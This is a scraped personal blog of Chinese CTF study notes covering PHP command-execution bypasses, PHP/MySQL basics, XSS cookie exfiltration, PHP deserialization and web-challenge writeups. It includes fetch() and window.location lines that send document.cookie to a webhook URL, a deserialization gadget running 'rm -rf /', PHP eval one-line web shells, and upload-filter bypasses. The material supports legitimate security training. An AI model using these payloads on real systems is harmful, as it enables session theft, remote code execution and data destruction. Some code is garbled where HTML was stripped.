应用程序使用了能将字符串作为代码执行的函数（如 PHP 中的 eval()、assert()，Python 中的 exec()），并且将用户可控的输入传递给了这些函数。或者，存在反序列化漏洞、模板注入、不安全的文件包含等，允许用户输入影响代码执行流。
 二、常见的RCE漏洞函数
 1.系统命令执行函数
1).system() ;这个相信大家都不陌生(抬头不见低头见)，能将字符串作为命令执行并返回结果；
2).exec() ; 也能将字符串作为命令执行，但是只能返回结果的最后一行(至今不知道有什么用emmmmmm)；
3).shell_exec() ; 能执行命令但不返回结果；
4).passthru(); 能将字符串作为命令执行，只调用命令不返回任何结果，但把命令的运行结果原样输出到标准输出设备上(这里指的是命令的执行状态，0代表成功，非0代表失败)
二编warnings：system不需要提供output函数，他是直接把结果返回出来，同样return_var是执行的状态码；
而exec函数需要提供$output函数才能，且返回的数据是array类型；
shell_exec则与exec类似。
1
2
3
4
5
6
7
8
system()    #　语法 : system(string $command, int &$result_code = null)
eval()        #语法：eval(string $code) 把字符串作为PHP代码执行
passthru() #语法：passthru(string $command, int &$result_code = null)
exec()         #语法：exec(string $command, array &$output = null, int &$result_code = null)
shell_exec() #语法：shell_exec(string $command),通过 shell 执行命令并将完整的输出以字符串的方式返回
popen()         #popen(string $command, string $mode),打开指向进程的管道，进程由派生给定的 command 命令执行产生。
proc_open()     #比popen更加灵活
pcntl_exec()    #bool pcntl_exec(string $path, array $args = null, array $env = null)
 三、具体利用
 1.文件包含
对于文件包含所常用的命令拼接方式:
1)使用（;）分隔
eg.
1
c1;c2;c3
无论c1是否成立，该语句都会按顺序依次执行所有命令。
2)使用逻辑与 (&&) 和逻辑或 (||)
1
2
c1&&c2  //只有当左边的命令成功执行（返回状态码为 0）时，才会执行右边的命令。
c1||c2  //只有当左边的命令执行失败（返回状态码非 0）时，才会执行右边的命令。
3)命令替换
$( ... )：
1
c1 $(c2)
命令替换会将命令的输出替换到当前命令中。
 2.绕过技巧
 过滤cat
用类似命令代替：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
tac：反向查看。

more：逐页显示文档。

less：逐页显示文档。

tail：查看末尾几行。

nl：带行号显示。

od：二进制读取。

xxd：二进制读取。

sort：排序文件。

uniq：报错相关。

file -f：报错相关。#passthru("file -f /flag");

grep str file：在file中读取str

rev：反向读取,eg:FSCTF{c0ng2atu1ati0ns_y0u_a2e_go0D!}会读取为：}!D0og_e2a_u0y_sn0ita1uta2gn0c{FTCSF

strings/paste: 也是读取文件内容
eg.[FSCTF 2023]Hello,you
这题就是经典的cat过滤，我们在注入fla*通配符时回显flag.php;我们尝试cat被拦截后使用 ; more fla*，成功得到flag。
 过滤flag
通配符绕过：
?：代表单个字符。
* ：模糊匹配，代表任意字符串。 如：cat fla*或者cat fla?
或者用反斜线绕过
如：cat fla\g
单引号或者双引号绕过 如cat f’‘lag或者cat f’‘l’‘a’'g
 3.无字母RCE
eg.[HUBUCTF 2022 新生赛]HowToGetShell
1
2
3
4
5
6
7

show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
  die("invalid input!");
}
eval($mess);
首先我们明确思路，我们的核心目的就是不使用字母、数字，去构造诸如 assert、system 函数的字符串，然后利用动态执行的方法进行调用。
我们就能想到异或，构造payload如下：
1
2
mess=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
&_=phpinfo();
除了异或外，我还在网上看到了一些其他的思路：
方法二 取反
该方法利用的是UTF-8编码的某个汉字，并将其中某个字符取出来。
可以看到，当我们对一个中文取反的话会返回大小写字母以及特殊字符，那么我们配合索引进行取值即可，帅字在 UTF-8 编码中占用了3个字节，具体的UTF编码为: \xe5\xb8\x85, php 将字符串视为字节数组，所以在PHP中可以将其看做是包含三个字节的数组。
使用 帅[1] 的结果是 \xb8 经过取反之后得到字母 G。
具体取反过程如下:
先将十六进制 b8 转为二进制。
再将 b8 的二进制进行按位取反，0变成1,1变成0。
最后再将得到的二进制转为十进制与ASCII表中进行比对，最终找到字母 G。
获取字符的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

// 从文件中获取汉字
$content = file_get_contents('data.txt'); 
$content_length = mb_strlen($content, "UTF-8");
// 要获取的字符
$payload = "a";  
// 使用 for 循环逐个输出中文字符
for ($i = 0; $i < $content_length; $i++) {
    // 获取当前字符
    $char = mb_substr($content, $i, 1, "UTF-8");
    // 输出中文字符（排除换行符等非中文字符）
    if ($char != "\n" && $char != "\r" && $char != "\t" && $char != '，' && $char != '。' && $char != "？" && $char != "“" && $char != "”" && $char != "《" && $char != "》" && $char != "、") {
        for ($j = 1; $j <= 4; $j ++) {
            if (~$char[$j] == $payload) {
                echo "~'$char'" . "[$j]" . "\n";
            }
        }
    }
}
?>
脚本来源：(^▽)
 4.无参RCE
可能用的到的函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.

pos() – 返回数组中的当前单元, 默认取第一个值

next – 将内部指针指向数组下一个元素并输出

scandir() – 扫描目录

array_reverse() – 翻转数组

array_flip() - 键名与数组值对调

readfile()

array_rand() - 随机读取键名

var_dump() - 输出数组，可以用print_r替代

file_get_contents() - 读取文件内容，show_source,highlight_file echo 可代替

get_defined_vars() -  返回由所有已定义变量所组成的数组

end() - 读取数组最后一个元素

current() - 读取数组的第一个元素

#php内置函数
eg.[HNCTF 2022 WEEK2]Canyource


PHP&MySQL基础
2026-02-10T05:28:35.000Z
 PHP&MySQL基础
 一.PHP
 1.变量
1
2
3
$name = "原神";
$age = 5;
$isnb = true;
1.变量规则
变量以$符号开头，其后是变量的名称；
变量名必须以字母或下划线开头；
变量名只能包含字母数字字符和下划线，且对大小写敏感；
$起到定义变量的作用。
2.变量作用域
在PHP中，可以在脚本的任意位置对变量进行声明
变量的作用域指的是变量能够被引用的那部分脚本。
PHP有三种不同的变量作用域：
local（局部）
global（全局）
static（静态）
 2.逻辑判断
和C语言一样，不加以赘述。
 3.常用函数
1.字符串函数
1
2
3
4
5
6
7
8
9
10
11
12
$str = "Hello World";

strlen($str);           // 获取字符串长度：11
strpos($str, "World");  // 查找子串位置：6
substr($str, 0, 5);     // 截取子串："Hello"
str_replace("World", "PHP", $str);  // 替换："Hello PHP"
trim($str);             // 去除首尾空格
strtolower($str);       // 转小写："hello world"
strtoupper($str);       // 转大写："HELLO WORLD"
explode(" ", $str);      // 分割字符串：["Hello", "World"]
implode(",", $arr);      // 连接数组元素
htmlspecialchars($str);  // 转义HTML特殊字符（防XSS攻击）
2.数组函数
1
2
3
4
5
6
7
8
9
10
11
12
$arr = [1, 2, 3, 4, 5];

count($arr);            // 数组长度：5
in_array(3, $arr);      // 检查值是否存在：true
array_push($arr, 6);    // 尾部添加元素
array_pop($arr);        // 弹出尾部元素
array_merge($arr1, $arr2);  // 合并数组
array_keys($arr);       // 获取所有键名
array_values($arr);     // 获取所有值
sort($arr);             // 排序
isset($arr['key']);     // 检查键是否存在
unset($arr[2]);         // 删除元素
3.文件和目录函数
1
2
3
4
5
6
7
8
file_exists("test.txt");    // 检查文件是否存在
file_get_contents("test.txt");  // 读取文件内容
file_put_contents("test.txt", "内容");  // 写入文件
fopen("test.txt", "r");     // 打开文件
fclose($handle);            // 关闭文件
fgets($handle);             // 读取一行
is_dir("path");             // 检查是否是目录
mkdir("newdir");            // 创建目录
 二.MySQL
 1.数据库
数据库是按照数据结构来组织、存储和管理数据的仓库。可以把它想象成一个电子化的文件柜，能够高效地存储和检索数据。
关系型数据库的核心概念
表（Table）：类似Excel表格，由行和列组成
行（Row/Record）：表中的一条记录
列（Column/Field）：表的一个字段
主键（Primary Key）：唯一标识一条记录的字段
外键（Foreign Key）：关联其他表的字段
索引（Index）：提高查询速度的结构
 2.SELECT查询语句
 1. 基本SELECT语法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-- 最简单的SELECT
SELECT * FROM users;

-- 选择特定列
SELECT username, email, age FROM users;

-- 使用别名
SELECT 
    username AS 用户名,
    email AS 邮箱,
    age AS 年龄
FROM users;

-- 去重查询
SELECT DISTINCT city FROM users;
 2. SELECT子句完整结构
1
2
3
4
5
6
7
SELECT [DISTINCT] 列名1, 列名2, ...
FROM 表名
[WHERE 条件]
[GROUP BY 列名]
[HAVING 分组条件]
[ORDER BY 列名 [ASC|DESC]]
[LIMIT 偏移量, 数量];
 3. 常用函数和表达式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
-- 数学函数
SELECT 
    price,
    ROUND(price, 2) AS 四舍五入,
    CEIL(price) AS 向上取整,
    FLOOR(price) AS 向下取整,
    ABS(price) AS 绝对值
FROM products;

-- 字符串函数
SELECT 
    username,
    CONCAT(first_name, ' ', last_name) AS 全名,
    LENGTH(username) AS 长度,
    UPPER(email) AS 大写邮箱,
    SUBSTRING(phone, 1, 3) AS 电话前缀
FROM users;

-- 日期函数
SELECT 
    created_at,
    YEAR(created_at) AS 年份,
    MONTH(created_at) AS 月份,
    DAY(created_at) AS 日期,
    DATE_FORMAT(created_at, '%Y-%m-%d') AS 格式化日期,
    DATEDIFF(NOW(), created_at) AS 注册天数
FROM users;

-- 聚合函数
SELECT 
    COUNT(*) AS 总用户数,
    AVG(age) AS 平均年龄,
    MAX(age) AS 最大年龄,
    MIN(age) AS 最小年龄,
    SUM(salary) AS 工资总和
FROM users;
 3.WHERE条件子句（SQL注入的基础）
 1. 基本比较运算符
1
2
3
4
5
6
7
8
9
10
11
12
13
-- 等于
SELECT * FROM users WHERE username = 'admin';

-- 不等于
SELECT * FROM users WHERE status != 'disabled';

-- 大于/小于
SELECT * FROM products WHERE price > 100;
SELECT * FROM products WHERE price < 50;

-- 大于等于/小于等于
SELECT * FROM orders WHERE amount >= 1000;
SELECT * FROM products WHERE stock <= 10;
 2. 逻辑运算符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-- AND（与）
SELECT * FROM users 
WHERE age >= 18 
  AND age <= 60 
  AND status = 'active';

-- OR（或）
SELECT * FROM products 
WHERE category = '电子产品' 
   OR category = '家电';

-- NOT（非）
SELECT * FROM users 
WHERE NOT status = 'banned';

-- 组合使用（注意括号）
SELECT * FROM orders 
WHERE (status = 'pending' OR status = 'processing')
  AND amount > 100;
 3. 特殊条件查询
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-- IN 范围查询
SELECT * FROM users 
WHERE city IN ('北京', '上海', '广州');

-- BETWEEN 区间查询
SELECT * FROM products 
WHERE price BETWEEN 100 AND 500;

-- LIKE 模糊查询
SELECT * FROM users 
WHERE username LIKE '张%';     -- 以"张"开头
WHERE username LIKE '%三';     -- 以"三"结尾
WHERE username LIKE '%小%';    -- 包含"小"
WHERE username LIKE '张_';      -- "张"后面跟一个字符

-- IS NULL 空值判断
SELECT * FROM users 
WHERE email IS NULL;           -- 邮箱为空的用户
WHERE phone IS NOT NULL;       -- 电话不为空的用户
 4. 子查询
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-- WHERE子句中使用子查询
SELECT * FROM products 
WHERE price > (
    SELECT AVG(price) FROM products
);

-- IN 结合子查询
SELECT * FROM users 
WHERE id IN (
    SELECT user_id FROM orders 
    WHERE amount > 1000
);

-- EXISTS 子查询
SELECT * FROM categories c
WHERE EXISTS (
    SELECT 1 FROM products p 
    WHERE p.category_id = c.id



LFSR做题有感
2026-02-10T02:39:21.000Z
                            想看也得先输对密码啊(#`O′)          
  



phpstuty的配置和使用(自用)
2026-02-10T02:19:11.000Z
                            别看了，我看到你了          
  



xss外带cookie攻击
2026-02-09T07:50:09.000Z
 xss外带cookie攻击
写在本文之前：本文为小灯自主学习xss外带内容的总结与思考。
 一.概念
XSS 的 Cookie 外带攻击就是一种针对 Web 应用程序中的 XSS（跨站脚本攻击）漏洞进行的攻击，攻击者通过在 XSS 攻击中注入恶意脚本，从而窃取用户的 Cookie 信息。攻击者通过已有的xss漏洞在浏览器注入恶意代码，并将受害者的 Cookie 数据上传到攻击者控制的服务器上，这就是xss外带cookie攻击的核心。
 二.攻击姿势
xss外带cookie攻击姿势与xss基本无异，区别在于在使用XSS语句将Cookie外带到攻击者IP地址前，需要在攻击机上起一个http协议，使得目标机能够将Cookie发送给该IP地址。
对此，我们小灯可以尝试使用一些CTF常用的Cookie接收平台：
RequestBin (requestbin.com)
Webhook.site (webhook.site)
Beeceptor (beeceptor.com)
个人常用2，也可使用云服务器来接收cookie或者python进行(可能需要内网穿透)。
接下来以webhook的临时URL为例简单说明一下xss外带的攻击姿势：
1.
1
')">
1

这里提一嘴：
浏览器的跨域资源共享可能存在限制(CORS),所以有些时候xss外带对自己有效而对目标无效时可能是因为浏览器的安全策略可能阻止了向webhook.site发送数据，这时就要考虑隐蔽点的xss：
1

1
this.src = 'xxx'
this 指向当前的  元素本身，
直接修改这个图片元素的 src 属性，
这是一个赋值操作，不是新建请求，更不容易被CORS阻止。
 fetch()方法
fetch() 允许 JavaScript 发送 HTTP 请求。如果 credentials: 'include'，则可以携带当前站点的 Cookie
1
fetch('//webhook.site/xxxxxxxx/?cookie='+document.cookie)
 window.open方法
window.open() 是 JavaScript 中用于打开新窗口或新标签页的方法。它接受一个 URL 作为参数，返回一个新的浏览器窗口对象或者选项卡对象
例如，以下代码将会在新窗口或新标签页中打开指定 URL：
1
window.open("//webhook.site/xxxxxxxx/?cookie="+document.cookie);
 XHR方法
XMLHttpRequest 是浏览器提供的内建 JavaScript 对象，用于在不刷新页面的情况下与服务器进行 HTTP 通信。它是早期 AJAX 技术的核心
1
2
3

 XMLHttpRequest 对象
1

 window.location 对象
window.location 可以把浏览器重定向到新的页面，此时可通过url携带cookie；使用方法例如
1

下面是window.location 对象中可用于跳转的方法
 window.location.href
1
window.location.href = "//webhook.site/xxxxxxxx/?cookie="+document.cookie;
window.location.assign(url)、window.location.replace(url)同上
 document.write方法
利用 document.write 写入某些含有src属性的标签，并将Cookie拼接到目标URL中，作为参数发送到指定的 IP 地址和端口
1
2
document.write(``)
document.write('')



PHP反序列化漏洞
2026-02-02T12:52:49.000Z
 PHP反序列化漏洞
前言：我写这个的目的主要是由于我在看题时看到了相关内容，处于新手期想要广泛获取知识，想由此激励自己学习php反序列化漏洞的相关知识，并总结学习心得与经验。
 0.入坑题：攻防世界web（unserialize3）
ps:初见这题时我什么概念都不懂，整道题均由ds老师赞助完成(doge)
我们先由这道题引出相关内容吧：
题目给出了这个：
1
2
3
4
5
6
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
除此之外没有什么东西，对新手来说大概率考的是payload的构造，因此有以下几个步骤：
 第一步：理解你的类
1
2
3
class xctf{
    public $flag = '111';
}
这个类有：
类名：xctf（4个字符）
一个公有属性：flag，值为 '111'
 第二步：手动构造序列化字符串
 A. 对象开始部分
对象以 O: 开头：
1
2
O:类名长度:"类名":属性个数:{属性定义}
O:4:"xctf":1:{
O: 表示对象
4: 类名长度（xctf是4个字符）
"xctf": 类名
1: 属性个数（这个类有1个属性）
{ 开始定义属性
 B. 属性定义部分
公有属性的格式：s:属性名长度:"属性名";类型:值
属性 flag 是公有属性：
1
s:4:"flag";s:3:"111";
s:4:"flag"; 属性名（flag是4个字符）
s:3:"111"; 属性值（111是3个字符的字符串）
 C. 闭合
1
}
 第三步：完整序列化字符串
1
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
而本题之所以能成功，是因为利用了_wakeup()的漏洞，当序列化字符串中的属性个数大于实际属性个数时，__wakeup() 不会执行。
从而构造URL：
1
http://61.147.171.35:61068/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
进而得到flag。
小试牛刀后我们可以进一步思考这一方向的学习：
1.序列化和反序列化究竟是什么？
2.ds老师说的魔术方法具体是什么？
3.如何利用漏洞和绕过？
4.如何解决这些漏洞产生的安全问题？
带着这些问题我进入了学习：
 一.序列化和反序列化
 1.序列化serialize()
序列化是将对象或数组转化为字符串，方便储存，PHP使用serialize()函数将对象序列化，序列化只作用于对象的成员属性，不作用于成员方法(ps:类的内部构成分为成员属性和成员方法，或可称为变量和函数)
我们来看看序列化的代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  class S{
    public $test="pikachu";
  }
  $s=new S();//创建一个对象
  serialize($s);//把这个对象进行序列化
  序列化得到的结果是：0:1:"S":1:{s:4:"test";s:7:"pikachu"}
    每个字符的含义：
    0:代表object
    1:代表对象名字长度为一个字符（上面创建的对象S）
    S:对象的名称
    1:代表对象里面有一个变量
    s:数据类型
    4:变量名称的长度
    test:变量名称
    s:数据类型
    7:变量值的长度
    pikachu
序列化后字符串意义解释：
变量类型：类名长度（字节）：类名：属性数量：{属性名类型：属性名长度：属性值长度：属性值内容}
我们可以注意到，声明字段这里与例题都用的是public，除此之外还有protected和private。
其中，三者在序列化后的字符串表示区别如下：
1
2
3
private变量会被序列化为：\x00类名\x00变量名
protected变量会被序列化为：\x00*\x00变量名
public变量会被序列化为：变量名
 2.反序列化unserialize()
知道了序列化是什么，反序列化自然就是反着来，将字符串转化为对象，而反序列化漏洞，其实就是利用应用程序本身在反序列化过程中缺乏对传入数据有足够的验证和过滤，导致攻击者可以利用构造的恶意的序列化数据来执行攻击。
 二.魔术方法详解
ps:谁取的名字，好抽象()
序列化和反序列化本身是正常的，但是如果用户可以控制反序列化的内容，并且PHP魔法函数使用不正当，就会产生漏洞，导致安全性问题。
1
2
3
4
5
6
7
8
9
10
11
12
13
__construct()       //类的构造函数，创建对象时触发
__destruct()        //类的析构函数，对象被销毁时触发
__call()            //调用对象不可访问、不存在的方法时触发
__callStatic()     //在静态上下文中调用不可访问的方法时触发
__get()            //调用不可访问、不存在的对象成员属性时触发
__set()           //在给不可访问、不存在的对象成员属性赋值时触发
__isset()         //当对不可访问属性调用isset()或empty()时触发
__unset()         //在不可访问的属性上使用unset()时触发
__invoke()        //把对象当初函数调用时触发
__sleep()        //执行serialize()时，立即被调用
__wakeup()       //执行unserialize()时，立即被调用
__toString()     //把对象当成字符串调用时触发
__clone()        //使用clone关键字拷贝完一个对象后触发
 魔术方法的简单利用
 1.__destruct()
1
2
3
4
5
6
7
8
9
10
class Exploit {
    public $cmd = "id";
    function __destruct() {
        system($this->cmd);
    }
}

$exploit = new Exploit();
$exploit->cmd = "rm -rf /";
echo serialize($exploit);
当反序列化时，若程序终止，__destruct()就会被触发，然后就会执行system。
 2.__wakeup ()
前面提到了不再说。
 3.__toString ()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class FileReader {
    public $filename = "index.php";
    

    function __toString() {
        return file_get_contents($this->filename);
    }

}

// 正常使用
$reader = new FileReader();
echo $reader; // 输出index.php内容

// 恶意构造
$malicious = 'O:9:"FileReader":1:{s:8:"filename";s:10:"/etc/passwd";}';
echo unserialize($malicious); // 输出/etc/passwd内容
当攻击者能够控制filename属性时，可以通过反序列化该对象并将其转换为字符串，读取任意文件内容。
 三.解决方案(可能)
本文参考：php反序列化漏洞(万字详解)-CSDN博客


简单题writeup
2026-01-31T10:19:14.000Z
 来几个writeup
这里将长期更新我作为新手遇到的有趣的题目的个人做题想法与见解，不定期更新，写手水平较菜，有问题请提出哦。
 一.攻防世界
 1.php2(web)
首页我们可以看到：
Can you anthenticate to this website?
在这里我们首要想到尝试访问首页和一些关键目录及敏感文件
1
2
3
4
5
6
7
8
9
10
11
/index.phps 
/login.phps 
/admin.phps 
/config.phps 
/flag.phps 
/backup.phps 
/index.php.bak 
/login.php.bak 
/index.php~ 
/.index.php.swp 
#带s和不带s的都尝试一下
(当然也可以使用御剑或deresearch直接扫描)
尝试过后，我们得到/index.phps 存在源码泄露如下：
1
2
3
4
5
6
7
8
9
10
11
12
13

if("admin"===$_GET[id]) {
  echo("not allowed!
");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "Access granted!
";
  echo "Key: xxxxxxx 
";
}
?>
由此我们可以知道可以尝试修改URL，加上身份标识，且进行urlencode编码(因为源码urldecode会自动解码)；
不妨试试直接
1
http://61.147.171.35:63879/index.php?id=admin
发现返回：not allowed!
说明我们的猜想是对的，那么进行urlencode再加入：
1
http://61.147.171.35:63879/index.php?id=%61%64%6d%69%6e
发现仍然返回：not allowed!
为什么呢？因为浏览器会自动对URL进行一次urldecode，在转入的一瞬间浏览器重新解码为admin
因此我们只要对其进行二次编码即可：
1
http://61.147.171.35:63879/index.php?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
最终得到flag：
cyberpeace{c5df0b4661f5fe3d57b964a152b41b7a}
 2.CatCatCat(misc)
首先先说明一点，本题要用到kali Linux shell的基础操作~~(本人也不清楚有没有其他更好的方法)~~
我们看到该题提供了一张jpg图片和一串文本，先看看图片：
我们按惯例先把图片放进010看看它的十六进制文本，文件头和尾均没有发现什么可疑点，因此我们考虑直接用最原始的方法暴力扫描图片的信息，这时候就要用到kali shell了。
(二编：对不起啊010大人，我错怪你了，010直接检索flag字符串可以直接得到密码QAQ)
这里我提一嘴，kali虚拟机初始账号密码默认为kali，但在部分场景可能存在权限不足的问题，所以我们可以为root设立初始密码，方便以后的使用：
1
sudo passwd root
回到正题，我们将猫猫.jpg复制到kali桌面上，然后cd到桌面，用strings命令查看图片所含有的所有隐藏字符，其中有一段尤为明显：
1
passwordis..catflag..
可能是暗示我们某个密码是catflag？
然后我们看向文本，文本标题为“我养了一只叫兔子的91岁的猫猫”，出于敏锐，我们可以猜测可能与Rabbit加密有关，我们网上找一个rabbit加解密网站，发现解密需要密钥，可能就是刚刚在图片扫描得来的：catflag？
试着解密得到：一段大概长这样的：（较长只截取一小段）
1
[BBo!9/DC>ie5HE%*6YPIlxaxeQ.IzI9g1RLRf%PjWi8of+s)d[8y|u5.cL]D)=9W/HqUYt3P_o%"3P_oj"3P_o6cTf=[jBo!9/DC>ie5HE%*6YPIlxaxeQ.IzI9g1RLRf%PjWi8of+s)d[8y|u5.cL]DW35W/HqUYt3P_ow"3P_ow"3P_o6cTf=[BBo!9/DC>ie5HE%*6YPIlxaxeQ.IzI9g1RLRf%PjWi8of+s)QI8y|u5.cL]D)=9W/HqUYtA
再根据文本名的91~~（不是暗广）~~，我们猜测为base91编码，丢进去解密得到大概长这样：（一小段）
1
2
3
4
cat. cat. cat. cat. cat. cat. cat. cat. cat. cat. cat. cat. cat. cat. cat.
cat. cat! cat? cat! cat! cat. cat? cat. cat. cat. cat. cat. cat. cat. cat.
cat. cat. cat. cat. cat. cat. cat. cat. cat? cat. cat? cat! cat. cat? cat.

与题目的猫相同，这里我们就可以确定方向应该是正确的了，根据特征判断为Ook语言，解密得到flag：
CATCTF{Th1s_V3ry_cute_catcat!!!}
(kali shell我爱你ლ(′◉❥◉｀ლ))
 3.ics-06(web)
这题其实没什么难度，主要是我第一次使用burpsuite的intruder模块爆破，感觉挺好玩的()
个人做题时手动试了一下修改URL后面的数字无效后去搜索了一下如何快速尝试然后发现bp可以做到()
这里就简单提一嘴做法，先用bp抓包发送到intruder模块，然后设置id=$$  的payload，选择numbers进行爆破,很快我们就能发现id=2333时响应长度与众不同，回浏览器试了一下便能得到flag。
另外，weak_auth这题做法类似，不展开说明。
 4.view_source
这题我们打开后发现右键被禁用无法查看页面源代码，结合题目我们可以尝试在URL前加入view_source：
1
view-source:http://61.147.171.105:61223/
这样可以强制查看页面源代码得到flag。
ps：如果不知道这种做法也可以直接打开burpsuite查看HTML记录。
 5.Web_php_include(web)
这题真的十分震惊小灯我()，一打开来就是PHP代码审计，粗略地看一眼感觉像是PHP伪协议，由于本人学习浅薄，百般尝试无果后去寻找大佬们帮助，发现这题的做法非常多且自由()。。。而且涉及到的知识点较为广，包含但不限于SQL,php伪协议等。值得深入探究，故做此题解QAQ。
首先题目给了一个这样的代码：
1
2
3
4
5
6
7
8
9

show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
  $page=str_replace("php://", "", $page);
}
include($page);
?>
我们很清楚地可以看到代码对于php：//做出了过滤，但显然过滤并不严格，我们可以用最简单的大小写绕过PHP://来完成绕过。
 writeup01
这是我能想到最简单的做法了()
题目很清楚地明示我们这题与php伪协议有关，我们就要考虑相关知识，我们知道php://input可以访问请求的原始数据的只读流，将post请求的数据当作php代码执行。当传入的参数作为文件名打开时，可以将参数设为php://input,同时post想设置的文件内容，php执行时会将post内容当作文件内容。从而导致任意代码执行。
因此我们打开burpsuite抓包，将得到的包改为：
1
2
3
4
5
6
7
8
9
10
11
GET /?page=PHP://input HTTP/1.1
Host: 61.147.171.105:51940
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 40


这样我们就可以得到响应如下：
fl4gisisish3r3.php
index.php
phpinfo.php
对此我们再进行改包得到：
1
2
3
4
5
6
7
8
9
10
11
GET /?page=PHP://input HTTP/1.1
Host: 61.147.171.105:51940
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 40


直接得到flag：ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
从这样看这道题还是蛮简单的(),但是我在网上查了一下，看到了好多震撼小灯的解法emmmmmm，这里也一个个去尝试了一下，在这里分享一下：
 writeup02
先鸽着，会补的！！！
 writeup03
 5.upload1(web)
本题开头让你上传文件，根据经验应该是一句话木马，在尝试后发现只能上传jpg，png文件，于是在本地新建文本文档，然后写一句话木马如下：
1
2
3
4

@eval($_POST['123']);
echo('123');
?>
这里以上述代码为例，稍微讲一下一句话木马的基本原理：
1.php代码的内容部分要包裹在
1

里，才能被服务器所解析；
2.@在代码中的作用是令服务器不报错，即使错误也不报错，减少服务器报错而泄露密码（也就是代码中的“123”）；
3.eval()函数的作用:
eval(“echo ‘123’”);的作用是echo ‘123’,句子连起来就变为用post方法接收变量123，也就是执行123.
注意(骗你的其实不重要)
一句话木马写完记得点保存(我才不会说我因为没保存导致没有echoQAQ)
然后把后缀改为jpg直接上传，用burpsuite抓包后改后缀为php后放行，若上传文件后缀名为php说明成功。
再进入文件路径，若页面有123便是成功。
然后用蚁剑连接，密码就是自己设置的123；(注意URL要文件详细路径才能连接成功)
然后找到flag。
注：当后缀为.php的文件无法上传时，我们可以考虑php3,php5,pht,phtml,phps，这些都是php可运行的文件拓展名。
 二.buuctf
 1.[GXYCTF2019]BabyUpload
这道upload真的非常狡猾，搞了半天才解决，遂记录。
这题我们打开靶机，经典的文件上传。我们试着传入最简单的一句话木马：
1
2
3
4

@eval($_POST['123']);
echo('123');
?>
发现提示"明显是php"，说明有对部分木马语句的检查过滤；
于是我们修改后缀为php，发现ph后缀都被过滤；
提示上传类型有限制，于是我们修改content-type字段，一个个尝试，发现image/gif 和image/png都无效，最终image/jpeg有效上传。
再尝试不同格式的一句话木马:
1

1
2
GIF89a
@eval($_POST["a"]);
成功。
注：
这里GIF89a属于文件幻术头；这里总结了部分常见的文件类型头部，到时可转换为十六进制放在头部
二编：GIF89a可以直接放到木马脚本的前面，因为上传的时候前端回将其编码为47 49 46 38 39 61（这里再burp抓到的包可以看到hex）。而其他几种文件的幻术头解码为字符串放到木马脚本前面再传的时候还是不行（因为解码出来有些不是机器码所以复制的时候回乱码）这里可以直接去burp里面改16进制包（在不破坏包的情况下改木马前面的十六进制）。
1
2
3
4
5
6
7
JPEG文件（.jpg或.jpeg）的幻术头：FF D8 FF
PNG文件（.png）的幻术头：89 50 4E 47 0D 0A 1A 0A
GIF文件（.gif）的幻术头：47 49 46 38 39 61 或 47 49 46 38 37 61
BMP文件（.bmp）的幻术头：42 4D
TIFF文件（.tif或.tiff）的幻术头：4D 4D 00 2A 或 49 49 2A 00
ICO文件（.ico）的幻术头：00 00 01 00
WebP文件（.webp）的幻术头：52 49 46 46 xx xx xx xx 57 45 42 50，其中 xx 是文件大小的字节序列
但是访问 /upload 目录的时候发现了 403 错误。给出了靶场中间件的版本是 Apache ；
于是我们考虑.hitaccess文件，这里同样要把content-type字段改为image/jpeg才能上传哦()
然后就是链接蚁剑，拿到flag！！！
总结：
本题主要问题在于白名单以及.hitaccess文件，建议自行整理一下一句话木马的类型QAQ
 2.[GWCTF 2019]我有一个数据库
关于phpmyadmin版本的漏洞本文参考
图片来源
打开来长这样：
这里我看了源代码发现啥都没有，结合题目便尝试robots协议，发现了phpinfo.php;结果进入环境变量看发现没有flag，于是我们使用御剑扫描工具得到了http://f7d68f86-5e2c-4fbd-aba2-67734794e580.node5.buuoj.cn:81/phpmyadmin/
访问后发现是个phpmyadmin的页面就知道方向对了，然后。。。。。。就不懂了QAQ
网上查找资料发现漏洞便构造payload：
1
